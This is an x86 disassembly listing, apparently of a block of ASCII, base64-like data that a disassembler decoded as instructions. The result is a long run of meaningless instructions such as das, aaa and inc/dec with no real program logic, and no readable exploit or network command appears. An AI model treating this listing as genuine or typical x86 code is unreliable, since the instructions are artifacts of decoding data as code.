46c8e8:	79 64                	jns    0x46c94e
46c8ea:	5a                   	pop    %edx
46c8eb:	52                   	push   %edx
46c8ec:	51                   	push   %ecx
46c8ed:	4d                   	dec    %ebp
46c8ee:	2c 2c                	sub    $0x2c,%al
46c8f0:	6a 2c                	push   $0x2c
46c8f2:	2c 4f                	sub    $0x4f,%al
46c8f4:	77 2c                	ja     0x46c922
46c8f6:	41                   	inc    %ecx
46c8f7:	47                   	inc    %edi
46c8f8:	49                   	dec    %ecx
46c8f9:	2c 2c                	sub    $0x2c,%al
46c8fb:	72 45                	jb     0x46c942
46c8fd:	30 55 44             	xor    %dl,0x44(%ebp)
46c900:	2c 2c                	sub    $0x2c,%al
46c902:	79 2f                	jns    0x46c933
46c904:	2f                   	das
46c905:	2f                   	das
46c906:	2f                   	das
46c907:	39 66 2f             	cmp    %esp,0x2f(%esi)
46c90a:	2f                   	das
46c90b:	2f                   	das
46c90c:	38 4c 2c 2c          	cmp    %cl,0x2c(%esp,%ebp,1)
46c910:	4b                   	dec    %ebx
46c911:	37                   	aaa
46c912:	73 66                	jae    0x46c97a
46c914:	77 68                	ja     0x46c97e
46c916:	4d                   	dec    %ebp
46c917:	47                   	inc    %edi
46c918:	4f                   	dec    %edi
46c919:	4c                   	dec    %esp
46c91a:	7a 2b                	jp     0x46c947
46c91c:	2f                   	das
46c91d:	2f                   	das
46c91e:	38 34 71             	cmp    %dh,(%ecx,%esi,2)
46c921:	2f                   	das
46c922:	37                   	aaa
46c923:	2f                   	das
46c924:	2f                   	das
46c925:	78 38                	js     0x46c95f
46c927:	64 4b                	fs dec %ebx
46c929:	44                   	inc    %esp
46c92a:	67 2c 41             	addr16 sub $0x41,%al
46c92d:	59                   	pop    %ecx
46c92e:	54                   	push   %esp
46c92f:	42                   	inc    %edx
46c930:	43                   	inc    %ebx
46c931:	73 45                	jae    0x46c978
46c933:	45                   	inc    %ebp
46c934:	77 59                	ja     0x46c98f
46c936:	72 6a                	jb     0x46c9a2
46c938:	68 38 4a 45 77       	push   $0x77454a38
46c93d:	55                   	push   %ebp
46c93e:	34 6b                	xor    $0x6b,%al
46c940:	2f                   	das
46c941:	37                   	aaa
46c942:	2f                   	das
46c943:	2f                   	das
46c944:	78 45                	js     0x46c98b
46c946:	45                   	inc    %ebp
46c947:	48                   	dec    %eax
46c948:	78 35                	js     0x46c97f
46c94a:	59                   	pop    %ecx
46c94b:	52                   	push   %edx
46c94c:	51                   	push   %ecx
46c94d:	4d                   	dec    %ebp
46c94e:	2c 2c                	sub    $0x2c,%al
46c950:	57                   	push   %edi
46c951:	2c 2c                	sub    $0x2c,%al
46c953:	4f                   	dec    %edi
46c954:	51                   	push   %ecx
46c955:	2c 41                	sub    $0x41,%al
46c957:	47                   	inc    %edi
46c958:	2c 2c                	sub    $0x2c,%al
46c95a:	41                   	inc    %ecx
46c95b:	72 42                	jb     0x46c99f
46c95d:	78 4d                	js     0x46c9ac
46c95f:	48                   	dec    %eax
46c960:	4f                   	dec    %edi
46c961:	45                   	inc    %ebp
46c962:	2f                   	das
46c963:	2f                   	das
46c964:	2f                   	das
46c965:	2f                   	das
46c966:	38 64 45 77          	cmp    %ah,0x77(%ebp,%eax,2)
46c96a:	55                   	push   %ebp
46c96b:	34 62                	xor    $0x62,%al
46c96d:	50                   	push   %eax
46c96e:	37                   	aaa
46c96f:	2f                   	das
46c970:	2f                   	das
46c971:	7a 68                	jp     0x46c9db
46c973:	62 2f                	bound  %ebp,(%edi)
46c975:	76 2f                	jbe    0x46c9a6
46c977:	2f                   	das
46c978:	47                   	inc    %edi
46c979:	67 30 72 46          	xor    %dh,0x46(%bp,%si)
46c97d:	6b 55 44 2c          	imul   $0x2c,0x44(%ebp),%edx
46c981:	2c 4f                	sub    $0x4f,%al
46c983:	2f                   	das
46c984:	2f                   	das
46c985:	2f                   	das
46c986:	2f                   	das
46c987:	30 33                	xor    %dh,(%ebx)
46c989:	2f                   	das
46c98a:	2f                   	das
46c98b:	2f                   	das
46c98c:	39 64 2f 2f          	cmp    %esp,0x2f(%edi,%ebp,1)
46c990:	2f                   	das
46c991:	2f                   	das
46c992:	4f                   	dec    %edi
46c993:	42                   	inc    %edx
46c994:	50                   	push   %eax
46c995:	2f                   	das
46c996:	2f                   	das
46c997:	2f                   	das
46c998:	38 66 2b             	cmp    %ah,0x2b(%esi)
46c99b:	78 4d                	js     0x46c9ea
46c99d:	45                   	inc    %ebp
46c99e:	4f                   	dec    %edi
46c99f:	44                   	inc    %esp
46c9a0:	6a 2b                	push   $0x2b
46c9a2:	2f                   	das
46c9a3:	2f                   	das
46c9a4:	38 4a 48             	cmp    %cl,0x48(%edx)
46c9a7:	79 56                	jns    0x46c9ff
46c9a9:	5a                   	pop    %edx
46c9aa:	52                   	push   %edx
46c9ab:	51                   	push   %ecx
46c9ac:	4d                   	dec    %ebp
46c9ad:	2c 2c                	sub    $0x2c,%al
46c9af:	58                   	pop    %eax
46c9b0:	2c 2c                	sub    $0x2c,%al
46c9b2:	53                   	push   %ebx
46c9b3:	77 2c                	ja     0x46c9e1
46c9b5:	41                   	inc    %ecx
46c9b6:	46                   	inc    %esi
46c9b7:	30 2c 2c             	xor    %ch,(%esp,%ebp,1)
46c9ba:	72 42                	jb     0x46c9fe
46c9bc:	78 4d                	js     0x46ca0b
46c9be:	49                   	dec    %ecx
46c9bf:	4f                   	dec    %edi
46c9c0:	4e                   	dec    %esi
46c9c1:	54                   	push   %esp
46c9c2:	2b 2f                	sub    (%edi),%ebp
46c9c4:	2f                   	das
46c9c5:	38 66 2f             	cmp    %ah,0x2f(%esi)
46c9c8:	52                   	push   %edx
46c9c9:	4d                   	dec    %ebp
46c9ca:	45                   	inc    %ebp
46c9cb:	4f                   	dec    %edi
46c9cc:	42                   	inc    %edx
46c9cd:	48                   	dec    %eax
46c9ce:	2b 2f                	sub    (%edi),%ebp
46c9d0:	2f                   	das
46c9d1:	38 34 41             	cmp    %dh,(%ecx,%eax,2)
46c9d4:	76 37                	jbe    0x46ca0d
46c9d6:	2f                   	das
46c9d7:	2f                   	das
46c9d8:	77 67                	ja     0x46ca41
46c9da:	66 49                	dec    %cx
46c9dc:	46                   	inc    %esi
46c9dd:	6c                   	insb   (%dx),%es:(%edi)
46c9de:	46                   	inc    %esi
46c9df:	41                   	inc    %ecx
46c9e0:	77 2c                	ja     0x46ca0e
46c9e2:	41                   	inc    %ecx
46c9e3:	44                   	inc    %esp
46c9e4:	59                   	pop    %ecx
46c9e5:	2c 41                	sub    $0x41,%al
46c9e7:	42                   	inc    %edx
46c9e8:	59                   	pop    %ecx
46c9e9:	2c 2c                	sub    $0x2c,%al
46c9eb:	6a 2c                	push   $0x2c
46c9ed:	2c 43                	sub    $0x43,%al
46c9ef:	73 57                	jae    0x46ca48
46c9f1:	52                   	push   %edx
46c9f2:	51                   	push   %ecx
46c9f3:	4d                   	dec    %ebp
46c9f4:	2c 41                	sub    $0x41,%al
46c9f6:	43                   	inc    %ebx
46c9f7:	73 2f                	jae    0x46ca28
46c9f9:	76 2f                	jbe    0x46ca2a
46c9fb:	2f                   	das
46c9fc:	76 2f                	jbe    0x46ca2d
46c9fe:	37                   	aaa
46c9ff:	2f                   	das
46ca00:	2f                   	das
46ca01:	39 54 2b 2f          	cmp    %edx,0x2f(%ebx,%ebp,1)
46ca05:	2f                   	das
46ca06:	38 34 69             	cmp    %dh,(%ecx,%ebp,2)
46ca09:	50                   	push   %eax
46ca0a:	37                   	aaa
46ca0b:	2f                   	das
46ca0c:	2f                   	das
46ca0d:	78 30                	js     0x46ca3f
46ca0f:	4e                   	dec    %esi
46ca10:	4f                   	dec    %edi
46ca11:	4d                   	dec    %ebp
46ca12:	37                   	aaa
46ca13:	39 2f                	cmp    %ebp,(%edi)
46ca15:	2f                   	das
46ca16:	38 57 44             	cmp    %dl,0x44(%edi)
46ca19:	43                   	inc    %ebx
46ca1a:	73 48                	jae    0x46ca64
46ca1c:	45                   	inc    %ebp
46ca1d:	77 6b                	ja     0x46ca8a
46ca1f:	34 5a                	xor    $0x5a,%al
46ca21:	66 37                	data16 aaa
46ca23:	2f                   	das
46ca24:	2f                   	das
46ca25:	78 77                	js     0x46ca9e
46ca27:	4e                   	dec    %esi
46ca28:	4f                   	dec    %edi
46ca29:	4c                   	dec    %esp
46ca2a:	7a 39                	jp     0x46ca65
46ca2c:	2f                   	das
46ca2d:	2f                   	das
46ca2e:	38 34 72             	cmp    %dh,(%edx,%esi,2)
46ca31:	66 33 2f             	xor    (%edi),%bp
46ca34:	2f                   	das
46ca35:	78 38                	js     0x46ca6f
46ca37:	35 43 79 73 57       	xor    $0x57737943,%eax
46ca3c:	52                   	push   %edx
46ca3d:	51                   	push   %ecx
46ca3e:	4d                   	dec    %ebp
46ca3f:	2c 41                	sub    $0x41,%al
46ca41:	42                   	inc    %edx
46ca42:	4b                   	dec    %ebx
46ca43:	2f                   	das
46ca44:	76 2f                	jbe    0x46ca75
46ca46:	2f                   	das
46ca47:	57                   	push   %edi
46ca48:	66 37                	data16 aaa
46ca4a:	2f                   	das
46ca4b:	2f                   	das
46ca4c:	32 37                	xor    (%edi),%dh
46ca4e:	2b 2f                	sub    (%edi),%ebp
46ca50:	2f                   	das
46ca51:	38 34 4d 2f 37 2f 2f 	cmp    %dh,0x2f2f372f(,%ecx,2)
46ca58:	78 6b                	js     0x46cac5
46ca5a:	4d                   	dec    %ebp
46ca5b:	4f                   	dec    %edi
46ca5c:	49                   	dec    %ecx
46ca5d:	76 39                	jbe    0x46ca98
46ca5f:	2f                   	das
46ca60:	2f                   	das
46ca61:	38 48 48             	cmp    %cl,0x48(%eax)
46ca64:	79 4a                	jns    0x46cab0
46ca66:	5a                   	pop    %edx
46ca67:	52                   	push   %edx
46ca68:	51                   	push   %ecx
46ca69:	4d                   	dec    %ebp
46ca6a:	2c 2c                	sub    $0x2c,%al
46ca6c:	6b 2c 2c 4e          	imul   $0x4e,(%esp,%ebp,1),%ebp
46ca70:	77 2c                	ja     0x46ca9e
46ca72:	41                   	inc    %ecx
46ca73:	47                   	inc    %edi
46ca74:	77 2c                	ja     0x46caa2
46ca76:	2c 72                	sub    $0x72,%al
46ca78:	46                   	inc    %esi
46ca79:	6b 55 44 2c          	imul   $0x2c,0x44(%ebp),%edx
46ca7d:	2c 2b                	sub    $0x2b,%al
46ca7f:	76 33                	jbe    0x46cab4
46ca81:	2f                   	das
46ca82:	2f                   	das
46ca83:	77 6e                	ja     0x46caf3
46ca85:	2b 2f                	sub    (%edi),%ebp
46ca87:	2f                   	das
46ca88:	38 55 2f             	cmp    %dl,0x2f(%ebp)
46ca8b:	76 2f                	jbe    0x46cabc
46ca8d:	2f                   	das
46ca8e:	4f                   	dec    %edi
46ca8f:	4f                   	dec    %edi
46ca90:	33 39                	xor    (%ecx),%edi
46ca92:	2f                   	das
46ca93:	2f                   	das
46ca94:	38 58 44             	cmp    %bl,0x44(%eax)
46ca97:	44                   	inc    %esp
46ca98:	68 58 2f 66 2f       	push   $0x2f662f58
46ca9d:	2f                   	das
46ca9e:	4f                   	dec    %edi
46ca9f:	45                   	inc    %ebp
46caa0:	6a 39                	push   $0x39
46caa2:	2f                   	das
46caa3:	2f                   	das
46caa4:	38 5a 43             	cmp    %bl,0x43(%edx)
46caa7:	69 73 48 45 77 6f 34 	imul   $0x346f7745,0x48(%ebx),%esi
46caae:	78 76                	js     0x46cb26
46cab0:	33 2f                	xor    (%edi),%ebp
46cab2:	2f                   	das
46cab3:	78 38                	js     0x46caed
46cab5:	2b 43 7a             	sub    0x7a(%ebx),%eax
46cab8:	67 31 2f             	xor    %ebp,(%bx)
46cabb:	66 2f                	data16 das
46cabd:	2f                   	das
46cabe:	42                   	inc    %edx
46cabf:	68 38 6a 57 55       	push   $0x55576a38
46cac4:	55                   	push   %ebp
46cac5:	44                   	inc    %esp
46cac6:	2c 2c                	sub    $0x2c,%al
46cac8:	4a                   	dec    %edx
46cac9:	51                   	push   %ecx
46caca:	2c 41                	sub    $0x41,%al
46cacc:	45                   	inc    %ebp
46cacd:	4d                   	dec    %ebp
46cace:	2c 41                	sub    $0x41,%al
46cad0:	42                   	inc    %edx
46cad1:	4c                   	dec    %esp
46cad2:	2c 2c                	sub    $0x2c,%al
46cad4:	4b                   	dec    %ebx
46cad5:	78 5a                	js     0x46cb31
46cad7:	46                   	inc    %esi
46cad8:	41                   	inc    %ecx
46cad9:	77 2c                	ja     0x46cb07
46cadb:	41                   	inc    %ecx
46cadc:	4a                   	dec    %edx
46cadd:	44                   	inc    %esp
46cade:	39 2f                	cmp    %ebp,(%edi)
46cae0:	2f                   	das
46cae1:	2b 63 2f             	sub    0x2f(%ebx),%esp
46cae4:	66 2f                	data16 das
46cae6:	2f                   	das
46cae7:	72 50                	jb     0x46cb39
46cae9:	33 2f                	xor    (%edi),%ebp
46caeb:	2f                   	das
46caec:	7a 69                	jp     0x46cb57
46caee:	46                   	inc    %esi
46caef:	2f                   	das
46caf0:	66 2f                	data16 das
46caf2:	2f                   	das
46caf3:	48                   	dec    %eax
46caf4:	7a 67                	jp     0x46cb5d
46caf6:	4c                   	dec    %esp
46caf7:	4f                   	dec    %edi
46caf8:	41                   	inc    %ecx
46caf9:	44                   	inc    %esp
46cafa:	39 2f                	cmp    %ebp,(%edi)
46cafc:	2f                   	das
46cafd:	38 34 38             	cmp    %dh,(%eax,%edi,1)
46cb00:	66 7a 2f             	data16 jp 0x46cb32
46cb03:	2f                   	das
46cb04:	77 49                	ja     0x46cb4f
46cb06:	57                   	push   %edi
46cb07:	6d                   	insl   (%dx),%es:(%edi)
46cb08:	67 49                	addr16 dec %ecx
46cb0a:	58                   	pop    %eax
46cb0b:	6d                   	insl   (%dx),%es:(%edi)
46cb0c:	67 49                	addr16 dec %ecx